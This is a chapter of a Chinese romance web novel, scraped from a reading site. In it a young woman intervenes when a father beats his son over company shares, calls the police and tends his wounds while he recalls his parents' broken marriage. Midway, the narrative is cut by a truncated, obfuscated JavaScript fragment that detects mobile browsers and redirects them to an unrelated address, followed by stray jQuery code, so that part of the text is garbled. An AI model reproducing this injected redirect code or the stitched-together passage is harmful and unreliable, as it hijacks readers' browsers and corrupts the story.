默认冷灰
24号文字
方正启体

14. 真情流露

作者:渡口长亭本书字数:K更新时间:
    “就是让你放弃出国的那个女生吧。”许渊明似是自嘲,又似是怨怼:“你还真听你妈的话啊。我看你们最后会有好结果吗!”


    放弃出国?


    听他妈妈的话?


    江浸月仔细琢磨着这一句信息量极大的话,更是有些摸不着头脑。


    怎么突然和她有关系?


    所以原本他是准备出国,因为她,而选择去A大?


    太荒谬了!


    江浸月壮着胆子上前,替许斯言挡住了那抹一直幽怨的视线,把手机音量键调到最大,里面的声音清晰地落入在场的每个人耳中,“许渊明,我们已经离婚了。儿子也跟着我,你趁我出差,又假惺惺地来看儿子,还殴打他!你到底有没有良心!”


    说到最后,温茵芷一向平稳的音色都染上了颤音,像是生气,又夹杂着对儿子的担忧。


    “温茵芷!你别在这装模做样!”许渊明此时已经有些疯魔,张口就是对她多年来的不满,诉说着自己事业不易,偏偏妻子还因为一点小事动不动和他吵架。


    屋内光线昏暗,只在客厅留有一盏台灯,若有若无地开着,却更显黑暗。每个人神情各异,许渊明继续口不择言,歇斯底里。


    安静的空间里只剩下愤怒的回音,只有零星几声鸟叫响彻在院外,不知是不是对这场声势浩大的闹剧的低语。


    *


    “警察。”


    两位年轻的小伙子穿着制服出现在众人面前,一位个头稍高的警察率先出声:“你们谁报的警?”


    “警察同志,是我。”江浸月上前一步,抓住警察的手臂,示意他们看眼前的情况。


    “事情就是这样了。”许渊明有些讨好地冲警察笑笑,试图在权威这儿挽留一些他身为父亲和企业家的尊严。


    两位警察分别对许渊明和许斯言做完口供,查看了一下两人的受伤情况,严厉批评了许渊明,又转身和许斯言叮嘱了几句。


    看着许渊明匆匆驾车离开,警察才收回视线,准备离开。


    毕竟清官难断家务事,即使他们身为警察,代表正义的一方,也很难把这件事构成立案调查,最多给予口头处分。


    但能有这个结果,已经足够让江浸月满意了。


    她来之前的心已经非常忐忑,七上八下的。看见眼前的场面,如果她不来,她料定许渊明很有可能会继续下去,那许斯言真就没了半条命。


    而她一没带武器,二身体素质一般,况且还带着江伊宁,肯定不能和他硬碰硬。


    她唯一能做的,就是拖延时间,让许斯言有喘息的机会。在这之前,她以最快的速度报了警,只要等到警察来,那一切就会迎刃而解。


    终于,房子里彻底安静下来。


    许斯言走到开关旁,随手按下了一个开关。


    房内亮起金黄的灯光,照亮了每一处阴影。江浸月这才细细打量起房间的陈设,里面的每一处,都藏着主人精心设计的小巧思。


    恰到好处的油画挂在墙上,透明玻璃柜中整齐摆放的陶瓷,还有陈列的花草植物。


    空气中弥漫着淡淡的茉莉香,混合着小苍兰的香薰味,使人迅速冷静下来。


    地面有着摩擦打斗的痕迹,有些纸张七零八落地散在四处,一片狼藉。


    “你还……好吧?”江浸月伸出手,想要触碰许斯言嘴角的伤口,最终却收回手。


    嘴角的淤青有些深,很明显,打斗的画面肯定激烈且下手很重。


    怎么会有人把儿子当仇人?


    江浸月抬头问他:“你们家药箱放哪儿了?”


    许斯言摇摇头,“我自己去拿吧。”


    “不行,你伤得好重。”江浸月扶他去沙发上躺着,“你指一下我看看,我去拿。你就先坐这儿休息一会儿。”


    许斯言撑着手臂,说:“在电视柜下,最左边的第二个盒子里。”


    江浸月顺着他的话语,拿出药箱,用碘伏消完毒后,拿出药膏小心翼翼地帮他涂抹着。


    许斯言本想拒绝,可看着江浸月如此坚决,话到嘴边,他却沉默了。


    他不想让她伤心。


    在被她关心的时候,他奇异地感受到了心安。


    明明刚刚自己和许渊明大打出手的时候还那么尖锐。


    这一刻,他忽然了明白温茵芷所说的那句话——爱会让人变得柔软。


    从小到大,他都以为自己是一个冷心冷情的人,他被父亲要求尽善尽美,要求鹤立鸡群,要求出类拔萃。可那位表面和蔼可亲的父亲却从未问过他的意愿,他的想法。


    他从不在意孩子灵魂的重量,他只是单纯希望,自己的孩子享受了这么好的社会资源,就理所应当在整个社会评价体系中做到卓越。至于那些虚无缥缈的梦想,只不过是休闲之时的消遣罢了。


    就像许渊明从来都不知道他喜欢数学,他认为数学只是一门科目,而大学应该学金融,好继承家业。


    许渊明谁都不在乎,也许有些人就是天生六亲缘浅,他只在乎自己的事业,在乎如何把公司发扬光大。


    母亲在过往沉溺于情感不纯粹的痛苦中,有时以泪洗面,只是很少当着他的面和父亲吵架。


    所以他小小年纪就要学会如何安慰母亲,在满足父亲的要求下挤出时间来学数学,学钢琴。他以为自己早在这日复一日的重复中麻木,不需要有别的感情。


    他抬头,对上了江浸月担忧的视线,突然笑了笑。


    原来他并不超凡脱俗,他也贪恋温情软语。


    *


    “嘶——”


    许斯言短促地呻吟了一声,江浸月这才反应过来,自己好像刚刚碰到他的肩膀了。


    “这里也疼?”


    还没等他回答,江浸月就不由分说地把短袖扯开一部分——淤青已经呈深紫色,看起来触目惊心。


    江浸月有些不忍直视,“他怎么这么狠?你都不还手吗?”


    “还了。”许斯言有些心虚,毕竟他力气也不小,站起来比许渊明还高一点,加上他下手也挺狠的,两人算两败俱伤,他从来不干吃亏的买卖。


    “你这伤还挺严重的,虽然不怎么出血,但是要养好久。”


    “嗯,谢谢。”


    江浸月看着他有些不好意思,又把棉签递到他的手上,“肩膀那儿就你自己来吧。看着你好像有点不情愿的样子。”


    骤然从刚刚的温情中回过神来,许斯言才察觉对面的人似乎误会了什么。


    他强压下面上的笑意,低垂着眼眸,努力让自己看起来楚楚可怜,往日低沉的声音里夹杂着一丝委屈,“我受伤了。”


    我受伤了,所以你能不能来帮我?


    “我没看错吧?”江浸月有些震惊,“你刚刚是在卖萌吗?”


    ……


    没有。


    经过这么多天和许斯言的相处,她也从一开始的拘谨到后来的跳脱,偶然也和他开几句不痛不痒的玩笑。


    “不过,你爸爸为什么突然打你啊?”江浸月问道:“他以前也会这样对你吗?”


    江浸月也算亲眼见过许渊明在爬山那次的状态,看着很和善,但根据许斯言的描述,他应该是一个极其重视面子工程的人,而且他只有许斯言一个孩子,按道理来说不应该这么失态。


    “我激怒了他。”许斯言平静地说,他拿着那根沾满碘伏的棉签,极轻地笑了一下,“他算好了我妈出差不在家,假意带着他一家人过来拜访,实际是软硬兼施,逼我让出股份。”


    “当初我妈和他离婚,他为了让我妈净身出户,请了最厉害的律师团队打官司。”


    “只可惜后来算盘落空,他没讨到好。就改变策略,想从我这儿下手。”


    “他以为我会被他简单两句卖惨就成功策反站在他那边,”许斯言闭了闭眼,“想多了,我又不瞎,是非对错我自有评判。”


    *


    一滴温热的眼泪从他的脸颊划过,缓慢流淌至下颌线,像是窗外划过的雨滴,成了一条泾渭分明的切割线,撕开了他平静面具下的另一面。


    许斯言任由情绪流淌,这好像是他为数不多放纵自己负面情绪的机会。


    他的脑海里闪过许多帧画面,那些泛黄的、带着点温暖回忆的瞬间如今却成了阵痛的噩梦和根源。


    “爸爸,再高一点,再高一点……”


    那段时间的许渊明总是一副温和的模样,是许斯言记忆力,最温柔的父亲。


    他会毫不吝啬地给予家庭关爱和陪伴,总是很关心许斯言各种稀奇古怪的想法。当时公司初创期,许渊明虽然很忙,却总是会抽空陪伴他,总是在一个风和日丽的午后,一手牵着许斯言,一手牵着温茵芷,去附近的公园散步。或者等攒够假期,一家人出去旅游。


    那时的许斯言觉得自己是最幸福的小孩,骑在爸爸的头顶上看世界,有着温柔美丽、善解人意的妈妈,他得到过最好的爱,也见证过最纯粹的幸福。


    可惜世间好物不坚牢,彩云易碎琉璃散。他那片刻的美好生活就如世间大部分珍宝一般,易碎不长久。是从什么时候开始变的呢,他也有些说不太清楚。


    只依稀记得父亲创业终于有了一些起色,渐渐地开始越来越晚归家,母亲一开始善解人意,却只等来了父亲和初恋纠缠不清的消息。


    父亲觉得母亲在挟恩图报,他厌恶母亲,更厌恶那座永远压在他身上的大山——温家。所谓升米恩斗米仇,大恩如大仇,大概就是这个意思吧。他羞于面对母亲,因为他在母亲面前根本抬不起头来,每一次见到母亲,就仿佛看见了年少那个囊中羞涩,卑躬屈膝的自己。


    有了前程光明的未来,他不愿再忆起那段痛苦不堪的往事。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159788|196591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >母亲的婚姻可谓是极其不幸,具有波折的。年少时放弃门当户对的家庭去陪一个清贫少年创业,被所有人不理解。她那时只是天真地认为有情饮水饱。


    当她身边的所有人都以为她不辞幸苦地陪着父亲终于苦尽甘来时,却没想到是这样的结局。只可惜父亲表面功夫做得很好,在外人面前,永远是一个不折不扣的爱妻人士,母亲也是表面光鲜亮丽的富太太。


    实际上,只有母亲离婚后,他们母子才真正迎来新生。


    “你哭了。”江浸月递了一张纸给他,“太疼了,是么?”


    疼么?


    也许吧。


    许斯言接过那张纸,轻轻拭去泪水,他缓慢地睁开眼,入目一个模糊但熟悉的轮廓。


    那张薄薄的纸被他捏成一个小团,蜷缩进他的手中,他似乎感受到了一点温度,不知是来自纸张与皮肤之间的摩擦,还是来自刚刚她递过来的瞬间残留的余温。


    “第一次听你说这么多话诶。”江浸月的声音放得很轻,她摸索着进了厨房。


    她摁了开关,白炽灯很亮,厨房贴着白色瓷砖,瓷砖之间有着几条银色线条,也许是为了防止审美疲劳。厨房的空间很大,干净敞亮,江浸月从柜子里拿出一个玻璃杯,从水壶里倒了一些温水。


    “喏,补充点水分。”


    许斯言接过,象征性地喝了几口。毕竟他的嘴角边的惨况还没彻底恢复,自然不能太张开口。


    *


    “斯言哥,你可真是我的好哥哥。”


    这句话颇有几分咬牙切齿的意味。


    江伊宁看着自己姐姐在照顾许斯言,也不好干站着。便想着说收拾收拾客厅,结果拾起几张纸才发现了上面赫然立着几个大字:2022-2023年度都夏市高一下册数学期末试卷。


    ……


    这许斯言哪里找来的雷霆试卷?


    江伊宁扯了扯嘴角,有着想把试卷撕碎的冲动。


    她瞥了一眼最后一道大题,又是恐怖的动点不动点,零点问题。


    许斯言写数学题时的字迹比平常略有潦草,不过也能看出来工整。但那一坨比命长的答案,江伊宁深深地觉得恐怖。


    这就算参考答案放我面前我也不敢抄啊!


    江伊宁问:“斯言哥,这张试卷你做了多久啊?”


    “半个小时左右。”


    行,行,行。


    “咱们附中可是人才辈出啊。祖国有你们我就放心了。”江伊宁感叹道,这无敌的做题速度,简直让人叹为观止。


    “我打印了很多套别的市的高一期末试卷,有几张质量还不错。到时候打印下来给你做,就当巩固一下知识点了。”许斯言推了推眼镜,认真道。


    江伊宁闭上眼睛,不愿面对现实。她扬起一个标准式假笑:“好的,好的。真是太好啦!”


    许斯言假装没看见她扭曲的表情,继续补刀:“本来还想带你预习一下高二的课程,可惜只剩这么几天的补课时间了。”


    江伊宁刚要笑,觉得自己离胜利近在咫尺,只听许斯言再一次说道:“要不然八月份我们继续?”


    “不要不要,”江伊宁的笑容僵在嘴边,“你肯定也有自己的事要忙啦,接下来我自己能行的。相信我!”


    许斯言笑笑,“嗯,以后有不会的随时问我。”


    “嗯嗯,”江伊宁点头,“有你,有我姐。相信我的数学一定能突飞猛进!”


    “那就好,你自己也别偷懒啊。”江浸月适时出声。


    *


    “唉,好了好了。你也别多想了,早点睡吧。”李桉看了看时间,“马上快十一点了。”


    “这个许斯言爸爸也真不是人,刚刚他妈妈说,还好你们发现及时,不然他可能会更狼狈。尤其是他妈妈最近出差,家里的阿姨又是早早回家了,没有一个人看到,站在他身边……”李桉唏嘘道。


    没想到,住在家里,也不安全啊。


    折腾半天下来,江浸月也有些疲惫,她支走了李桉,躺在床上,仍有些惊魂不定。


    她蹑手蹑脚地走出房门,抱着被子和枕头,敲开江伊宁的房门。


    “呦,这么大人了还不敢一个人睡觉?”江伊宁冲她做了一个鬼脸。


    江浸月直接趁她不注意,一个闪身,溜了进去。


    “你个流氓!”江伊宁气愤地指着她。


    江浸月却有些兴奋,打开平板,“哎呀,反正你也没睡,我们一起看会儿电视剧再睡吧。”


    江伊宁口嫌体正直,故作为难妥协道:“行。”


    她跳上床,依偎在江浸月身边,说:“哎!我突然记起来许斯言爸爸说的那句,什么斯言哥是因为你才不出国,你说这句话是什么意思啊?”


    江浸月被她这么以提醒,也开始细细想起来。


    什么意思呢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)